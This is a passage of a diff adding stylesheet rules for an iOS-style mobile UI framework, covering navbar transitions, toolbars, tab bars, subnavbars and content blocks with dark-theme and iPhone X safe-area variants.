+.ios .router-transition-css-forward .navbar-next .left, +.ios .router-transition-css-backward .navbar-previous .left, +.ios .router-transition-css-forward .navbar-next > .title, +.ios .router-transition-css-backward .navbar-previous > .title, +.ios .router-transition-css-forward .navbar-next .right, +.ios .router-transition-css-backward .navbar-previous .right, +.ios .router-transition-css-forward .navbar-next .subnavbar, +.ios .router-transition-css-backward .navbar-previous .subnavbar { + -webkit-animation: ios-navbar-element-fade-in 400ms forwards; + animation: ios-navbar-element-fade-in 400ms forwards; +} +.ios .router-transition-css-forward .navbar-next .sliding, +.ios .router-transition-css-backward .navbar-previous .sliding, +.ios .router-transition-css-forward .navbar-next .left.sliding .icon, +.ios .router-transition-css-backward .navbar-previous .left.sliding .icon, +.ios .router-transition-css-forward .navbar-next.sliding .left, +.ios .router-transition-css-backward .navbar-previous.sliding .left, +.ios .router-transition-css-forward .navbar-next.sliding .left .icon, +.ios .router-transition-css-backward .navbar-previous.sliding .left .icon, +.ios .router-transition-css-forward .navbar-next.sliding > .title, +.ios .router-transition-css-backward .navbar-previous.sliding > .title, +.ios .router-transition-css-forward .navbar-next.sliding .right, +.ios .router-transition-css-backward .navbar-previous.sliding .right, +.ios .router-transition-css-forward .navbar-next.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; + opacity: 1 !important; +} +.ios .theme-dark .navbar, +.navbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .navbar:after, +.navbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .navbar .subtitle, +.navbar.ios .theme-dark .subtitle { + color: #8e8e93; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-left .navbar-inner { + padding-left: calc(8px + constant(safe-area-inset-right)); + padding-left: calc(8px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-right .navbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +/* === Toolbar === */ +.toolbar { + width: 100%; + position: relative; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; +} +.toolbar b { + font-weight: 500; +} +.toolbar a { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; +} +.toolbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.toolbar i.icon { + display: block; +} +.toolbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.views > .tabbar, +.views > .tabbar-labels { + z-index: 5001; +} +.tabbar a.link, +.tabbar-labels a.link { + line-height: 1.4; +} +.tabbar a.tab-link, +.tabbar-labels a.tab-link, +.tabbar a.link, +.tabbar-labels a.link { + height: 100%; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.tabbar-labels a.tab-link, +.tabbar-labels a.link { + height: 100%; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.tabbar-labels a.tab-link .tabbar-label, +.tabbar-labels a.link .tabbar-label { + display: block; + line-height: 1; + margin: 0; + position: relative; + text-overflow: ellipsis; + white-space: nowrap; +} +.tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.tabbar-scrollable .toolbar-inner::-webkit-scrollbar { + display: none !important; + width: 0 !important; + height: 0 !important; + -webkit-appearance: none; + opacity: 0 !important; +} +.tabbar-scrollable a.tab-link, +.tabbar-scrollable a.link { + width: auto; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.views > .toolbar, +.view > .toolbar, +.page > .toolbar { + position: absolute; +} +.ios .toolbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; + bottom: 0; +} +.ios .toolbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .toolbar a.link { + line-height: 44px; + height: 44px; +} +.ios .toolbar a.link i + span, +.ios .toolbar a.link i + i, +.ios .toolbar a.link span + i, +.ios .toolbar a.link span + span { + margin-right: 7px; +} +.ios .toolbar a.icon-only { + min-height: 44px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; + min-width: 44px; +} +.ios .toolbar b { + font-weight: 600; +} +.ios .toolbar.no-hairline:before { + display: none !important; +} +.ios .toolbar:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .toolbar-inner { + padding: 0 8px; +} +.ios .tabbar, +.ios .tabbar-labels { + color: #929292; +} +.ios .tabbar a, +.ios .tabbar-labels a { + color: #929292; +} +.ios .tabbar a.tab-link-active, +.ios .tabbar-labels a.tab-link-active { + color: #007aff; +} +.ios .tabbar i.icon, +.ios .tabbar-labels i.icon { + height: 30px; +} +.ios .tabbar-labels { + height: 50px; +} +.ios .tabbar-labels a.tab-link, +.ios .tabbar-labels a.link { + padding-top: 4px; + padding-bottom: 4px; +} +.ios .tabbar-labels a.tab-link i + span, +.ios .tabbar-labels a.link i + span { + margin: 0; +} +.ios .tabbar-labels .tabbar-label { + letter-spacing: 0.01em; + font-size: 10px; +} +@media (min-width: 768px) { + .ios .tabbar .toolbar-inner, + .ios .tabbar-labels .toolbar-inner { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + } + .ios .tabbar a.tab-link, + .ios .tabbar-labels a.tab-link, + .ios .tabbar a.link, + .ios .tabbar-labels a.link { + width: auto; + min-width: 105px; + } + .ios .tabbar-labels { + height: 56px; + } + .ios .tabbar-labels .tabbar-label { + font-size: 14px; + } +} +.ios .tabbar-scrollable .toolbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .tabbar-scrollable a.tab-link, +.ios .tabbar-scrollable a.link { + padding: 0 8px; +} +.ios .toolbar ~ * .page-content, +.ios .toolbar ~ .page-content { + padding-bottom: 44px; +} +.ios .tabbar-labels ~ * .page-content, +.ios .tabbar-labels ~ .page-content { + padding-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .page-content, + .ios .tabbar-labels ~ .page-content { + padding-bottom: 56px; + } +} +.ios .toolbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .toolbar-hidden { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .theme-dark .toolbar, +.toolbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .toolbar:before, +.toolbar.ios .theme-dark:before { + background-color: #282829; +} +.ios .color-theme-red .tabbar a.tab-link-active, +.ios .color-theme-red .tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar-labels a.tab-link-active, +.ios .color-theme-red.tabbar a.tab-link-active { + color: #ff3b30; +} +.ios .color-theme-green .tabbar a.tab-link-active, +.ios .color-theme-green .tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar-labels a.tab-link-active, +.ios .color-theme-green.tabbar a.tab-link-active { + color: #4cd964; +} +.ios .color-theme-blue .tabbar a.tab-link-active, +.ios .color-theme-blue .tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar-labels a.tab-link-active, +.ios .color-theme-blue.tabbar a.tab-link-active { + color: #007aff; +} +.ios .color-theme-pink .tabbar a.tab-link-active, +.ios .color-theme-pink .tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar-labels a.tab-link-active, +.ios .color-theme-pink.tabbar a.tab-link-active { + color: #ff2d55; +} +.ios .color-theme-yellow .tabbar a.tab-link-active, +.ios .color-theme-yellow .tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar-labels a.tab-link-active, +.ios .color-theme-yellow.tabbar a.tab-link-active { + color: #ffcc00; +} +.ios .color-theme-orange .tabbar a.tab-link-active, +.ios .color-theme-orange .tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar-labels a.tab-link-active, +.ios .color-theme-orange.tabbar a.tab-link-active { + color: #ff9500; +} +.ios .color-theme-gray .tabbar a.tab-link-active, +.ios .color-theme-gray .tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar-labels a.tab-link-active, +.ios .color-theme-gray.tabbar a.tab-link-active { + color: #8e8e93; +} +.ios .color-theme-white .tabbar a.tab-link-active, +.ios .color-theme-white .tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar-labels a.tab-link-active, +.ios .color-theme-white.tabbar a.tab-link-active { + color: #ffffff; +} +.ios .color-theme-black .tabbar a.tab-link-active, +.ios .color-theme-black .tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar-labels a.tab-link-active, +.ios .color-theme-black.tabbar a.tab-link-active { + color: #000000; +} +.ios .tabbar-labels.color-red a.tab-link-active, +.ios .tabbar.color-red a.tab-link-active { + color: #ff3b30; +} +.ios .tabbar-labels.color-green a.tab-link-active, +.ios .tabbar.color-green a.tab-link-active { + color: #4cd964; +} +.ios .tabbar-labels.color-blue a.tab-link-active, +.ios .tabbar.color-blue a.tab-link-active { + color: #007aff; +} +.ios .tabbar-labels.color-pink a.tab-link-active, +.ios .tabbar.color-pink a.tab-link-active { + color: #ff2d55; +} +.ios .tabbar-labels.color-yellow a.tab-link-active, +.ios .tabbar.color-yellow a.tab-link-active { + color: #ffcc00; +} +.ios .tabbar-labels.color-orange a.tab-link-active, +.ios .tabbar.color-orange a.tab-link-active { + color: #ff9500; +} +.ios .tabbar-labels.color-gray a.tab-link-active, +.ios .tabbar.color-gray a.tab-link-active { + color: #8e8e93; +} +.ios .tabbar-labels.color-white a.tab-link-active, +.ios .tabbar.color-white a.tab-link-active { + color: #ffffff; +} +.ios .tabbar-labels.color-black a.tab-link-active, +.ios .tabbar.color-black a.tab-link-active { + color: #000000; +} +.ios.device-iphone-x .views > .toolbar, +.ios.device-iphone-x .view > .toolbar, +.ios.device-iphone-x .page > .toolbar, +.ios.device-iphone-x .popup > .toolbar, +.ios.device-iphone-x .panel > .toolbar, +.ios.device-iphone-x .login-screen > .toolbar { + height: calc(44px + constant(safe-area-inset-bottom)); + height: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .views > .toolbar .toolbar-inner, +.ios.device-iphone-x .view > .toolbar .toolbar-inner, +.ios.device-iphone-x .page > .toolbar .toolbar-inner, +.ios.device-iphone-x .popup > .toolbar .toolbar-inner, +.ios.device-iphone-x .panel > .toolbar .toolbar-inner, +.ios.device-iphone-x .login-screen > .toolbar .toolbar-inner { + height: auto; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .views > .tabbar-labels, +.ios.device-iphone-x .view > .tabbar-labels, +.ios.device-iphone-x .page > .tabbar-labels, +.ios.device-iphone-x .popup > .tabbar-labels, +.ios.device-iphone-x .panel > .tabbar-labels, +.ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(50px + constant(safe-area-inset-bottom)); + height: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .views > .tabbar-labels, + .ios.device-iphone-x .view > .tabbar-labels, + .ios.device-iphone-x .page > .tabbar-labels, + .ios.device-iphone-x .popup > .tabbar-labels, + .ios.device-iphone-x .panel > .tabbar-labels, + .ios.device-iphone-x .login-screen > .tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios.device-iphone-x .toolbar ~ * .page-content, +.ios.device-iphone-x .toolbar ~ .page-content { + padding-bottom: calc(44px + constant(safe-area-inset-bottom)); + padding-bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ * .page-content, +.ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(50px + constant(safe-area-inset-bottom)); + padding-bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ * .page-content, + .ios.device-iphone-x .tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-left .toolbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .toolbar-inner, + .ios.device-iphone-x .ios-edges .toolbar-inner, + .ios.device-iphone-x .popup .toolbar-inner, + .ios.device-iphone-x .sheet-modal .toolbar-inner, + .ios.device-iphone-x .panel-right .toolbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +/* === Subnavbar === */ +.subnavbar { + width: 100%; + position: absolute; + left: 0; + top: 0; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .title { + position: relative; + overflow: hidden; + text-overflow: ellpsis; + white-space: nowrap; +} +.subnavbar .left, +.subnavbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .right:first-child { + position: absolute; + height: 100%; +} +.subnavbar-inner { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + overflow: hidden; +} +.subnavbar-inner.stacked { + display: none; +} +.navbar .subnavbar { + top: 100%; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .subnavbar { + height: 45px; + margin-top: -1px; + padding-top: 1px; + background: #f7f7f8; +} +.ios .subnavbar.no-hairline:after { + display: none !important; +} +.ios .subnavbar .title { + font-weight: 700; + line-height: 1; + overflow: visible; + font-size: 34px; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + letter-spacing: -0.03em; +} +.ios .subnavbar .title { + margin-right: 7px; +} +.ios .subnavbar .left a + a, +.ios .subnavbar .right a + a { + margin-right: 15px; +} +.ios .subnavbar .left { + margin-left: 10px; +} +.ios .subnavbar .right { + margin-right: 10px; +} +.ios .subnavbar .right:first-child { + left: 8px; +} +.ios .subnavbar a.link { + line-height: 44px; + height: 44px; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .subnavbar a.icon-only { + min-width: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + margin: 0; +} +.ios .subnavbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .subnavbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .subnavbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .subnavbar-inner { + padding: 0 8px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .subnavbar, +.ios .navbar ~ .subnavbar { + top: 44px; +} +.ios .page-with-subnavbar .page-content, +.ios .subnavbar ~ .page-content, +.ios .subnavbar ~ * .page-content { + padding-top: 44px; +} +.ios .navbar ~ .page-with-subnavbar:not(.no-navbar) .page-content, +.ios .page-with-subnavbar .navbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ .page-content, +.ios .navbar ~ *:not(.no-navbar) .subnavbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .subnavbar, +.subnavbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .subnavbar:after, +.subnavbar.ios .theme-dark:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .subnavbar-inner, + .ios.device-iphone-x .ios-edges .subnavbar-inner, + .ios.device-iphone-x .popup .subnavbar-inner, + .ios.device-iphone-x .sheet-modal .subnavbar-inner, + .ios.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +/* === Content Block === */ +.block { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + z-index: 1; +} +.block.no-hairlines:before, +.block.no-hairlines ul:before, +.md .block.no-hairlines-md:before, +.md .block.no-hairlines-md ul:before, +.ios .block.no-hairlines-ios:before, +.ios .block.no-hairlines-ios ul:before { + display: none !important; +} +.block.no-hairlines:after, +.block.no-hairlines ul:after, +.md .block.no-hairlines-md:after, +.md .block.no-hairlines-md ul:after, +.ios .block.no-hairlines-ios:after, +.ios .block.no-hairlines-ios ul:after { + display: none !important; +} +.block.no-hairline-top:before, +.block.no-hairline-top ul:before, +.md .block.no-hairline-top-md:before, +.md .block.no-hairline-top-md ul:before, +.ios .block.no-hairline-top-ios:before, +.ios .block.no-hairline-top-ios ul:before { + display: none !important; +} +.block.no-hairline-bottom:after, +.block.no-hairline-bottom ul:after, +.md .block.no-hairline-bottom-md:after, +.md .block.no-hairline-bottom-md ul:after, +.ios .block.no-hairline-bottom-ios:after, +.ios .block.no-hairline-bottom-ios ul:after { + display: none !important; +} +.block > h1:first-child, +.block > h2:first-child, +.block > h3:first-child, +.block > h4:first-child, +.block > p:first-child { + margin-top: 0; +} +.block > h1:last-child, +.block > h2:last-child, +.block > h3:last-child, +.block > h4:last-child, +.block > p:last-child { + margin-bottom: 0; +} +.block-title { + position: relative; + overflow: hidden; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + line-height: 1; +} +.block-strong.inset { + border-radius: 7px; +} +.block-strong.inset:before { + display: none !important; +} +.block-strong.inset:after { + display: none !important; +} +.block-footer, +.block-header { + font-size: 14px; +} +.block-footer ul:first-child, +.block-header ul:first-child, +.block-footer p:first-child, +.block-header p:first-child, +.block-footer h1:first-child, +.block-header h1:first-child, +.block-footer h2:first-child, +.block-header h2:first-child, +.block-footer h3:first-child, +.block-header h3:first-child, +.block-footer h4:first-child, +.block-header h4:first-child { + margin-top: 0; +} +.block-footer ul:last-child, +.block-header ul:last-child, +.block-footer p:last-child, +.block-header p:last-child, +.block-footer h1:last-child, +.block-header h1:last-child, +.block-footer h2:last-child, +.block-header h2:last-child, +.block-footer h3:last-child, +.block-header h3:last-child, +.block-footer h4:last-child, +.block-header h4:last-child { + margin-bottom: 0; +} +.block-footer ul:first-child:last-child, +.block-header ul:first-child:last-child, +.block-footer p:first-child:last-child, +.block-header p:first-child:last-child, +.block-footer h1:first-child:last-child, +.block-header h1:first-child:last-child, +.block-footer h2:first-child:last-child, +.block-header h2:first-child:last-child, +.block-footer h3:first-child:last-child, +.block-header h3:first-child:last-child, +.block-footer h4:first-child:last-child, +.block-header h4:first-child:last-child { + margin-top: 0; + margin-bottom: 0; +} +.block-header { + margin-bottom: 10px; +} +.block-footer { + margin-top: 10px; +} +@media (min-width: 768px) { + .block-strong.tablet-inset:before { + display: none !important; + } + .block-strong.tablet-inset:after { + display: none !important; + } +} +/* === Content Block === */ +.ios .block { + margin: 35px 0; + padding: 0 15px; + color: #6d6d72; +} +.ios .block-title { + text-transform: uppercase; + color: #6d6d72; + margin: 35px 15px 10px; + line-height: 17px; +} +.ios .block-title + .list, +.ios .block-title + .block, +.ios .block-title + .card, +.ios .block-title + .timeline, +.ios .block-title + .block-header { + margin-top: 10px; +} +.ios .block-strong { + color: #000; + background: #fff; + padding: 15px 15px; +} +.ios .block-strong:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block-strong:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .block.inset { + margin-left: 15px; + margin-right: 15px; +} +.ios .block-strong-inset { + border-radius: 7px; +} +.ios .block-header, +.ios .block-footer { + padding: 0 15px; + color: #8f8f94; +} +.ios .block .block-header, +.ios .block .block-footer { + padding: 0 !important; +} +.ios .block-header { + margin-top: 35px; +} +.ios .block-header + .list, +.ios .block-header + .block, +.ios .block-header + .card, +.ios .block-header + .timeline { + margin-top: 10px; +} +.ios .block-footer { + margin-bottom: 35px; +} +.ios .list .block-header, +.ios .block .block-header, +.ios .card .block-header, +.ios .timeline .block-header { + margin-top: 0; +} +.ios .list .block-footer, +.ios .block .block-footer, +.ios .card .block-footer, +.ios .timeline .block-footer { + margin-bottom: 0; +} +.ios .list + .block-footer, +.ios .block + .block-footer, +.ios .card + .block-footer, +.ios .timeline + .block-footer { + margin-top: -25px; +} +.ios .block + .block-footer { + margin-top: -25px; + margin-bottom: 35px; +} +@media (min-width: 768px) { + .ios .block.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .block-strong.tablet-inset { + border-radius: 7px; + } +} +.ios .theme-dark .block-title, +.ios .theme-dark .block-header, +.ios .theme-dark .block-footer { + color: #8E8E93; +} +.ios .theme-dark .block { + color: #8E8E93; +} +.ios .theme-dark .block-strong, +.ios .theme-dark.block-strong { + background-color: #1c1c1d; + color: #fff; +} +.ios .theme-dark .block-strong:before, +.ios .theme-dark.block-strong:before { + background-color: #282829; +} +.ios .theme-dark .block-strong:after, +.ios .theme-dark.block-strong:after { + background-color: #282829; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-left .block-header, + .ios.device-iphone-x .ios-left-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-left .block-footer { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges 